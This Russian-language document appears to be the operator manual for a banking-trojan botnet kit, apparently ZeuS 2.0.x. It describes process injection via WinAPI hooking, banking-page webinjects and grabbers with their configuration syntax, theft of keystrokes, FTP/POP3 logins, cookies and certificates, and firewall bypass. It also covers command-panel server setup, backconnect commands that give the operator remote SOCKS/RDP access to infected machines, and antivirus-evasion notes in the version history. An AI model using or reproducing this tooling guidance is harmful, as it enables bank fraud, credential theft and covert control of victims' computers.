Описание: Бот
- Язык и IDE программирования:
Visual C++ (текущая версия 9.0). Не используются дополнительные библиотеки (crtl, mfc, и т.д.).
- Поддерживаемые ОС:
XP/Vista/Seven, а также 2003/2003R2/2008/2008R2. В том числе работа под Windows x64, но только для 32-x битных процессов. Также сохраняется полноценная работа бота при активных сессиях “Terminal Servers”.
- Принцип действия:
Бот основан на перехвате WinAPI, методом сплайсинга в ring3(пользовательский режим), путем запуска копии своего кода в каждом процессе пользователя (без использования DLL).
- Процесс установки:
В данный момент, в первую очередь бот ориентирован на работу под Vista/Seven, с включенным UAC, и без использования локальных сплойтов. Поэтому бот рассчитан на работу с минимальными привилегиями пользователя (включая пользователя “Гость”), с связи с этим бот всегда работает в пределах сессий одного пользователя (из-под которого производилась установка бота.). Бот может быть установлен для каждого пользователя в ОС, при этом боты не будут знать о существовании друг друга. При запуске бота из под пользователя “LocalSystem” произойдет попытка заражение всех пользователей в системе.
При установке, бот создает свою копию в домашней директории пользователя, эта копия является привязанной к текущему пользователю и ОС, и не может быть запущена в другом пользователе, или тем более ОС. Оригинальная же копия бота (используемая для установки), будет автоматически удалена, в независимости от успеха установки.
- Сессия с сервером (панелью управления):
Сессия с сервером осуществляется через различные процессы из внутреннего “белого списка”, что позволяет обойти большинство фаерволов. Во время сессии бот может получить конфигурацию, отправить накопившиеся отчеты, сообщить о своем состоянии серверу, и получить команды для исполнения на компьютере. Сессия происходит через HTTP-протокол, все данные отсылаемые ботом и получаемые от сервера шифруются уникальным ключом для каждого ботнета.
- Защита:
- Уникальные имена всех объектов (файлов, мютексов, ключей реестра) создаваемых ботом для каждого пользователя и ботнета.
- Установленный бот не может быть запущен с иной ОС или пользователя. Уничтожается код, служащий для установки бота.
- В данный момент не производиться скрытие файлов бота через WinAPI, т.к. антивирусные инструменты очень легко находят такие файла, и позволяют точно определить местоположение бота.
- Автообновление бота, не требующие перезагрузки.
- Контроль цельности файлов бота.
- Функции серверной части бота:
- Сервер Socks 4/4a/5 с поддержкой UDP и IPv6.
- Бэкконект для любого сервиса (RDP, Socks, FTP, и т.д.) на зараженной машине. Т.е. возможно получить доступ к компьютеру, который находится за NAT, или, например, к которому запрещены подключения фаерволом. Для работы этой функции используется дополнительное приложение, запускаемое на любом Windows-сервере в интернете, который имеет выделенный IP.
- Получение скриншота рабочего стола в реальном времени.
- Перехват HTTP/HTTPS-запросов библиотек wininet.dll (Internet Explorer, Maxton, и т.д.), nspr4.dll (Mozilla Firefox):
- Модификация содержимого загружаемых страниц (HTTP-инжект).
- Прозрачный редирект страниц (HTTP-фейк).
- Получение из содержимого страницы нужных частей данных (например баланса банковского аккаунта).
- Временная блокировка HTTP-инжектов и HTTP-фейков.
- Временная блокировка доступа к определнным URL.
- Блокировка логирования запросов для определённых URL.
- Принудительное логирование всех GET запросов для определенных URL.
- Создание снимка экрана вокруг курсора мыши во время клика ее кнопок.
- Получение сессионных кукисов и блокировка доступа пользователя к определенным URL.
- Получение важных данных из программ пользователя:
- Логинов из FTP-клиентов: FlashFXP, CuteFtp, Total Commander, WsFTP, FileZilla, FAR Manager, WinSCP, FTP Commander, CoreFTP, SmartFTP.
- “Кукисов” Adobe (Macromedia) Flash Player.
- “Кукисов” wininet.dll, Mozilla Firefox.
- Импорт сертификатов из хранилища сертификатов Windows. И слежение за их дальнейшим добавлением.
- Слежение за нажатием клавиш клавиатуры.
- Сниффер трафика для протокола TCP в Windows Socket.
- Перехват FTP-логинов на любом порту.
- Перехват POP3-логинов на любом порту.
- Прочее:
- Исполнение скриптов (команд), созданных в панели управления.
- Разделение ботнета на сабботнеты (по имени).
Описание: Панель управления
- Язык программирования:
PHP, с использованием расширений mbstring, mysql.
- Отображаемая статистика:
- Количество зараженных компьютеров.
- Текущее количество ботов в онлайне.
- Количество новых ботов.
- Суточная активность ботов.
- Статистика по странам.
- Статистика по ОС.
- Работа со списком ботов:
- Фильтрация списка по странам, ботнетам, IP-адресам, NAT-статусу, и т.д.
- Отображение скриншотов рабочего стола в реальном времени (только для ботов вне NAT).
- Массовая проверка состояния Socks-серверов.
- Вывод полной информации о ботах. Из наиболее важных сюда входят:
- Версия Windows, язык пользователя и часовая зона.
- Страна и IP-адреса компьютера (не относящиеся к локальным).
- Скорость подключения к Интернету (измеряется путем вычисления времени загрузки предопределенного HTTP-ресурса).
- Время первой и последней связи с сервером.
- Время в онлайне.
- Возможность установки комментария для каждого бота.
- Скрипты (команды):
Вы можете управляет ботами путем составления для них скриптов. В настоящее время синтаксис, и возможности скриптов очень примитивны.
- Работа с отчетами (логами) и файлами ботов:
Файлы (например скриншоты, кукисы Flash Player) полученные от ботов всегда пишутся в файлы на сервере, Вы получаете возможности искать файлы с фильтром: по имени ботов, ботнету, содержимому и имени файла.
Отчеты могут писаться как в файлы (%botnet%/%bot_id%/reports.txt), так и в базу данных. В первом случаи поиск по отчетам осуществляется точно также, как и по файлам. Во втором же случаи, Вы получаете возможность более гибкой фильтрации, и просмотра отчетов из Панели управления.
- Получение уведомлений в IM (Jabber):
Вы можете получать уведомления из Панели управления в Jabber-аккаунт.
В данный момент существует возможность получения уведомлений о заходе пользователя на определенные HTTP/HTTPS-ресурсы. Например, это используется для перехвата сессии пользователя в онлайн-банке.
- Прочее:
- Создание пользователей Панели управления с определенными правами доступа.
- Вывод информации о ПО сервера.
- Автоматическое восстановление поврежденных таблиц MyISAM.
Файл конфигурации: HTTP-инжекты/HTTP-грабберы.
Для удобства написания, HTTP-инжекты/HTTP-грабберы записываются в отдельный файл, указанный в файле конфигурации как “DynamicConfig.file_webinjects”. Естественно, после создания конченого файла конфигурации, ни какие дополнительные файлы не генерируются.
Файл представляет из себя список URL’ов, для которых можно указать неограниченное количество либо вносимых в них изменений, либо получаемых из них данных. Текущий URL указывается следующей строкой:
set_url [url] [options] [postdata_blacklist] [postdata_whitelist] [url_block] [matched_context]
Параметры:
| url |
URL, на котором должен запускаться HTTP-инжект/HTTP-граббер. Допускается использование масок (символы * и #). |
| options |
Определяет основные правила и условия для запсука, состоит из комбинации следующих символов:
- P – запускать при POST-запросе.
- G – запускать при GET-запросе.
- L – если этот сивол указан, то запуск происходит как HTTP-граббера, если не указан, то как HTTP-инжекта.
- D – блокирует запуск более одного раза в 24 часа. Этот символ требует обязательного наличия параметра url_block.
- F – дополняет символ “L”, позволяет записывать результат не в виде обычного отчета, а в виде отдельного файла “grabbed%host%_%year%_%month%_%day%.txt”.
- H – дополняет символ “L”, сохраняет содержимое без вырезания HTML-тегов. В обычном же режиме, все HTML-теги удаляются, а некоторые преобразуются в символ “новая строка” или “пробел”.
- I – сравнивать параметр url без учета регистра (только для англ. алфавита).
- C – сравнивать конекст без учета регистра (только для англ. алфавита).
|
| postdata_blacklist |
Полное (от начала до конца) содержимое POST-данных, при котором не должен происходить запуск. Допускается использование масок (символы * и ?).
Параметр является необязательным. |
| postdata_whitelist |
Полное (от начала до конца) содержимое POST-данных, при котором должен происходить запуск. Допускается использование масок (символы * и ?).
Параметр является необязательным. |
| url_block |
При отсутствии символа “D” в параметре options:Если запуск должен происходить только один раз, то здесь следует указать URL, в случаи обращения к которому, дальнеший запуск будет заблокирован. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. Если после блокировки, понадобится повторный запуск, то блокировку можно снять через команду “bot_httpinject_enable” с параметром, например, равному параметру url.
При наличии символа “D” в параметре options:Необходимо указать URL, при обращении к которому, запуск будет заблокирован на 24-е часа. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. Эту блокировку нельзя снять через через команду “bot_httpinject_enable”.
Параметр является необязательным при отсутствии символа “D” в параметре options. |
| matched_context |
Подсодержимое (подстрока) содеримого URL, при котором должен происходить запуск. Допускается использование масок (символы * и ?).
Параметр является необязательным. |
Со следующей строки начинается список изменений вносимых, в содержимое URL, а при наличии символа “L” в параметре options – список данных, получаемых из содержимое URL. Это список длится до тех пор, пока не достигнут конец файла, или не задан новый URL.
Единица списка состоит из трех элементов в произвольном порядке:
| data_before |
При отсутвие символа “L” в параметре options:Подсодержиоме в соедржимом URL, после окончания которого нужно внести новые данные.
При наличии символа “L” в параметре options:Подсодержиоме в соедржимом URL, после окончания которого нужно начать получить данные для отчета.
Допускается использование масок (символы * и ?). |
| data_after |
При отсутвие символа “L” в параметре options:Подсодержиоме в соедржимом URL, передкоторым нужно закончить новые данные.
При наличии символа “L” в параметре options:Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета.
Допускается использование масок (символы * и ?). |
| data_inject |
При отсутвие символа “L” в параметре options:Новые данные, который будут внесены между данными найденысмм по data_before и data_after.
При наличии символа “L” в параметре options:Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета. |
Примеры:
| user_homepage_set http://www.google.com/ |
Принудительная установка домашней страницы “http://www.google.com/”. |
| user_homepage_set |
Принудительная установка домашней страницы будет отключена. |
ЛИМИТЫ ЛОГИКА ПРИ НЕЗАПОЛЕННЫХ before или after
Панель управления: Настройка сервера
Сервер является центральной точкой управления ботнетом, он занимается сборкой отчетов ботов, и отдачей команд ботам. Крайне не рекомендуется использовать “Виртуальный Хостинг” или “VDS”, т.к. при увеличение ботнета, нагрузка на сервер будет увеличиваться, и такой вид хостинга довольно быстро исчерпает свои ресурсы. Вам нужен “Выделенный сервер” (Дедик), рекомендуемая минимальная конфигурация:
- 2Гб ОЗУ.
- 2x процессор частотой 2Ггц.
- Отдельный винчестер для базы данных.
Для работы бота необходим HTTP-сервер с подключенным PHP + Zend Optimizer, и MySQL-сервер.
ВНИМАНИЕ: Для Windows-серверов очень важно изменить (создать) следующее значение реестра: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParametersMaxUserPort=dword:65534 (десятичное).
- HTTP-сервер:
В качестве HTTP-сервера рекомендуется использовать: для nix-систем – Apache от версии 2.2, для Windows-серверов – IIS от версии 6.0. Рекомендуется держать HTTP-сервер на 80 или 443 портах (это положительно влияет на отстук бота, поскольку провайдеры/прокси могут блокировать доступ на иные, нестандартные порты).
Загрузить Apache: http://apache.org/dyn/closer.cgi.
Сайт IIS: http://www.iis.net/.
- Интерпретатор PHP:
Последняя версия панели управления разрабатывалась на PHP 5.2.6. Поэтому крайне рекомендуется использовать версию, не ниже этой версии.
Важно произвести следующие настройки в php.ini:
- safe_mode = Off
- magic_quotes_gpc = Off
- magic_quotes_runtime = Off
- memory_limit = 256M ;Или выше.
- post_max_size = 100M ;Или выше.
а также рекомендуется изменить следующие настройки:
Также понадобиться подключить Zend Optimizer (ускорение работы скриптов, и запуск защищенных скриптов). Рекомендуется версия от 3.3.
Не рекомендуется подключать PHP к HTTP-серверу через CGI.
Загрузить PHP: http://www.php.net/downloads.php.
Загрузить Zend Optimizer: http://www.zend.com/en/products/guard/downloads.
- MySQL-сервер:
MySQL требуется для хранения всех данных об ботнете. Рекомендуемая версия не ниже 5.1.30, так же стоит учесть, что при работе панели управления в более старых версиях были обнаружены некоторые проблемы. Все таблицы панели управления идут в формате MyISAM, важно правильно оптимизировать быстродействие работы с этим форматом, исходя из доступных ресурсов сервера.
Рекомендуется внести следующие изменения в настройки MySQL-сервера (my или my.ini):
- max_connections=2000 #Или выше
Загрузить MySQL: http://dev.mysql.com/downloads/.
Панель управления: Установка
Назначение файлов и папок:
| /install |
инсталлятор |
| /system |
системные файлы |
| /system/fsarc.php |
скрипт для вызова внешнего архиватора |
| /system/config.php |
файл конфигурации |
| /theme |
файлы темы (дизайн), без зенда, могут свободно изменяться |
| cp.php |
вход в панель управления |
| gate.php |
гэйт для ботов |
| index.php |
пустой файл для предотвращения листинга файлов |
Панель управления обычно расположена в вашем дистрибутиве в папке server[php]. Все содержимое этой папки необходимо загрузить на сервер в любую папку доступную по HTTP. Если Вы загружаете ее через FTP, то все файлы нужно загрузить в БИНАРНОМ режиме.
Для nix-систем выставите права:
| /. |
777 |
| /system |
777 |
| /tmp |
777 |
Для Windows-систем выставите права:
| system |
права на полные права на запись, чтение для пользователя из под которого происходит доступ через HTTP. Для IIS это обычно IUSR_* |
| tmp |
также как и для system |
После того как все файлы загружены и для них выставлены права, необходимо через браузер запустить инсталлятор по URL http://сервер/папка/install/index.php. Следуйте появившимся инструкциям, в случаи возникновения ошибок (Вы будете подробно уведомлены) в процесс установки, проверти правильность введенных данных, и правильность установки прав на папки.
После установки, рекомендуется удалить директорию install, и переименовать файлы cp.php (вход в панель управления) и gate.php (гэйт для ботов) в любые файлы по вашему желанию (расширение менять нельзя).
Теперь Вы можете благополучно входить в панель управления, введя в браузере URL переименованного файла cp.php.
Панель управления: Обновление
Если Вы обладаете более новой копией панели управления, и желаете обновить старую версию, то необходимо сделать следующие:
- Скопировать файлы новой панели управления на место старых.
- Переименовать файлы cp.php и gate.php согласно их реальным именам выбранным вами при установке старой панели управления.
- На всякой случай, повторно выставить права на директории согласно этому разделу.
- Через браузер запустить инсталлятор по URL http://сервер/директория/install/index.php, и следовать появившимся инструкциям. Процесс работы инсталлятора может занять достаточно большой промежуток времени, это связано с тем, что некоторые таблицы с отчетами могут пересоздаваться.
- Можно пользоваться новой панелью управления.
Панель управления: Файл /system/fsarc.php.
Данный файл содержит в себе функцию для вызова внешнего архиватора. В данный момент архиватор используется только в модуле “Отчеты::Поиск в файлах” (reports_files), и вызывается для загрузки файлов и папок в виде одного архива. По умолчанию функция настроена на архиватор Zip, и является универсальной для Windows и nix, поэтому все что вам нужно сделать, это установить в систему этот архиватор, и дать права на его исполнение. Вы также можете отредактировать этот файл для работы с любым архиватором.
Панель управления: Команды, используемые в скриптах
Работа с Backсonnect-сервером
Работа с BackConnect рассматривается в виде примера.
- IP-адрес Backconnect-сервера: 192.168.100.1.
- Порт для бота: 4500.
- Порт для клиентского приложения: 1080.
- Сервис бота: socks.
- Запускается серверное приложение(zsbcs.exe или zsbcs64.exe) на сервере имеющем свой IP-адрес в интернете, для приложения указывается порт, на котором ожидается подключение от бота, и порт к которому будет подключаться клиентское приложение. Например zsbcs.exe listen -cp:1080 -bp:4500, где 1080 – клиентский порт, 4500 – порт для бота.
- Необходимому боту отправляется команда “bot_bc_add socks 192.168.100.1 4500″.
- Теперь необходимо ждать подключение бота к серверу, в этот период любая попытка клиентского приложения подключится будет игнорироваться (будет происходить отключение клиента). Знаком подключения бота, будет вывод в консоль сервера строки “Accepted new conection from bot…”.
- После подключения бота, Вы можете работать со своим клиентским приложением. Т.е. Вы просто подключаетесь к серверу на клиентский порт (в данном случаи 1080). Например, если Вы отдали команду socks, то на клиентском порту вас будет ожидать Socks-сервер.
- После того, когда вам не нужен Backconnect от бота для определенного сервиса, необходимо отдать команду “bot_bc_remove socks 192.168.100.1 4500″.
ПРИМЕЧАНИЯ:
- Вы можете указывать сколько угодно Backconnect’ов (т.е. bot_bc_add), но у них не должна быть общая комбинация IP + Port. Но в случаи наличия такой комбинации, будет запускаться первая добавленная.
- Для каждого Backconnect’а, Вы должны запускать отдельное серверное приложение.
- В случаи разрыва соединения (падения сервера, падение бота и т.д.), бот будет повторят подключение к серверу бесконечно (даже после перезагрузки PC), до тех пор пока Backconnect не будет удален (т.е. bot_bc_remove).
- В качестве service для bot_bc_add, может быть использован любой порт открытый по адресу 127.0.0.1.
- Серверное приложение поддерживает IPv6, но в настоящее время эта поддержка не особо актуальна.
- Возможен запуск серверного приложения под wine. Написание же elf приложения в настоящее время не планируется.
- Крайне рекомендуется использовать в опции bp серверного приложения популярные порты (80, 8080, 443 и т.д.), т.к. иные порты могут быть заблокированы провайдером которому принадлежит бот.
- Нельзя позволят подключатся разным ботам на один и тот же серверный порт одновременно.
- Метод такого подключения может пригодиться и для ботов, которые находятся вне NAT, т.к. иногда фаерволами Windows или провайдерами, могут быть заблокированы подключения из интернета.
F.A.Q.
- Что значат цифры в версии?
Формат версии a.b.c.d, где:
- a – полное изменение в устройстве бота.
- b – крупные изменения, которые вызывают полную или частичную несовместимость с предыдущими версиями.
- c – исправления ошибок, доработки, добавление возможностей.
- d – номер чистки от антивирусов для текущей версии a.b.c.
- Каким образом генерируется Bot ID?
Bot ID состоит из двух частей: %name%_%number%, где name – имя компьютера (результат от GetComputerNameW), а number – некое число, генерируемое на основе некоторых уникальных данных ОС.
- Почему трафик шифруется симметричным методом шифрования (RC4), а не асимметричным (RSA)?
Потому что, в использовании сложных алгоритмов нет смысла, шифрование нужно только для скрытия трафика. Плюс в RSA только в том, что не зная ключа находящегося в Панели управления, не будет возможности эмулировать ее ответы. А какой смысл защищаться от этого?
История версий
- Версия 2.0.0.0, 01.04.2010
- Полная несовместимость с предыдущими версиями.
- Поскольку ядро бота нацелено на Windows Vista+, и в боте не когда не будут использоваться сплойты повышения привилегий и т.д., бот работает в пределах одного пользователя. Но элементарные попытки заразить прочих пользователей Windows совершаются (обычно эффективно в случаях отключения UAC, или запуска из-под LocalSystem).
- Произвольные имена файлов, мютексов и т.д.
- Полностью переписано ядро бота, от процесса установки в систему до отправки отчетов в панель управления.
- При инсталляции, бот перекриптовывает свое тело, таким образом сохраняется уникальная копия exe-файла на каждом компьютере.
- Привязка бота к компьютеру, путем модификации/удаления некоторых данные в exe-файле.
- Полноценная работа с x32 приложениями в Windows x64.
- Удаление исходного файла бота, после исполнения вне зависимости от результата исполнения.
- Полноценная работа в параллельных сессиях “Terminal Services”.
- При запуске из под пользователя LocalSystem, происходит попытка заражения все пользователей системы.
- Убрана опция “StaticConfig.blacklist_languages”.
- Имя ботнета ограничено 20 символами, и может содержать любые интернациональные символы.
- Файл конфигурации читается в UTF-8-кодировке.
- Убрана опция “StaticConfig.url_compip”.
- Новый способ определения NAT.
- Нельзя обновить новую версию бота на старую.
- При обновлении бота, происходит полное обновление немедленно, не дожидаясь перезагрузки.
- В данный момент, из-за некоторых соображений, скрытие файлов бота не будет производиться вообще.
- Убран граббер “Protected Storage”, поскольку начиная с IE7, он более не используется.
- С связи с ненадежностью старой системы подсчета “Инсталлов”, бот имеет автоматически имеет “Инсталл” при добавлении в базу.
- Новый способ получение кукисов IE.
- Улучшен протокол бэк-коннекта.
- Поскольку “лайт-режим” билдера создан для тестирования и отладки HTTP-инжектов и HTTP-фейков, он имеет ряд ограничений по сборке файла конфигурации.
- Усложнена обнаружение трафика бота.
- Полноценная (как с wininet.dll) работа с nspr4.dll, но пока без HTTP-фейков.
- Версия 2.0.1.0, 28.04.2010
Теперь используется сторонний криптор, с связи с этим отменены некоторые особенности предыдущей версии:
- Изменен способ привязки к пользователю/ОС.
- Бот более не способен перекриптовывать себя при установке.
- Мелкие доработки для HTTP-инжектов.
- Версия 2.0.2.0, 10.05.2010
- Принудительное изменение настроек безопасности Mozilla Firefox для нормальной работы HTTP-инжектов.
- Команда “user_homepage_set” применяет домашнею страницу принудительно для IE и Firefox (т.е страница будет восстановлена даже, если пользователь внесет изменения) до тех пор, пока не произойдет отмена команды.
- Версия 2.0.3.0, 19.05.2010
- С связи с тем, что HTTP-инжекты в основном пишут люди мало понимающие в HTTP, HTML и т.д., убрано предупреждение “*NO MATCHES FOUND FOR CURRENT MASK*”. Т.к. из-за злоупотребления знака “*” в масках URL, данное предупреждение появляется очень часто.
- Версия 2.0.4.0, 31.05.2010
- В панели управления исправлена ошибка в модуле “Botnet->Bots”, не позволяющая производить поиск по IP.
- В файл конфигурации добавлена опция “StaticConfig.remove_certs”, для отключения автоматического удаления сертификатов из хранилища пользователя при установке бота.
- В файл конфигурации добавлена опция “StaticConfig.disable_tcpserver”, которая позволяет отключить TCP-сервер (ОТКЛЮЧЕНИЕ: сокс-сервер, скриншоты в реальном времени). Данная опция введена для предотвращения появления предупреждений от “Window Firewall”.
- Сграбленные сертификаты сохраняются на сервере с указанием пользователя, из которого они получены.
- Версия 2.0.5.0, 08.06.2010
- Для скриптов подключены команды “bot_httpinject_enable” и “bot_httpinject_disable”.
- Исправлены мелкие ошибки в HTTP-граббере.
- Версия 2.0.6.0, 22.06.2010
- В nspr4.dll, при специфическом форматировании HTTP-ответа от сервера, этот ответ не анализировался верно (что приводило, например, к отключению HTTP-инжектов).
- Версия 2.0.7.0, 15.07.2010
- Отключено встроенное криптование бота.
- Версия 2.0.8.0, 17.08.2010
- К параметрам HTTP-инжекта добавлены новые опции “I” (сравнение URL без учета регистра) и “C” (сравнение контекста без учета регистра).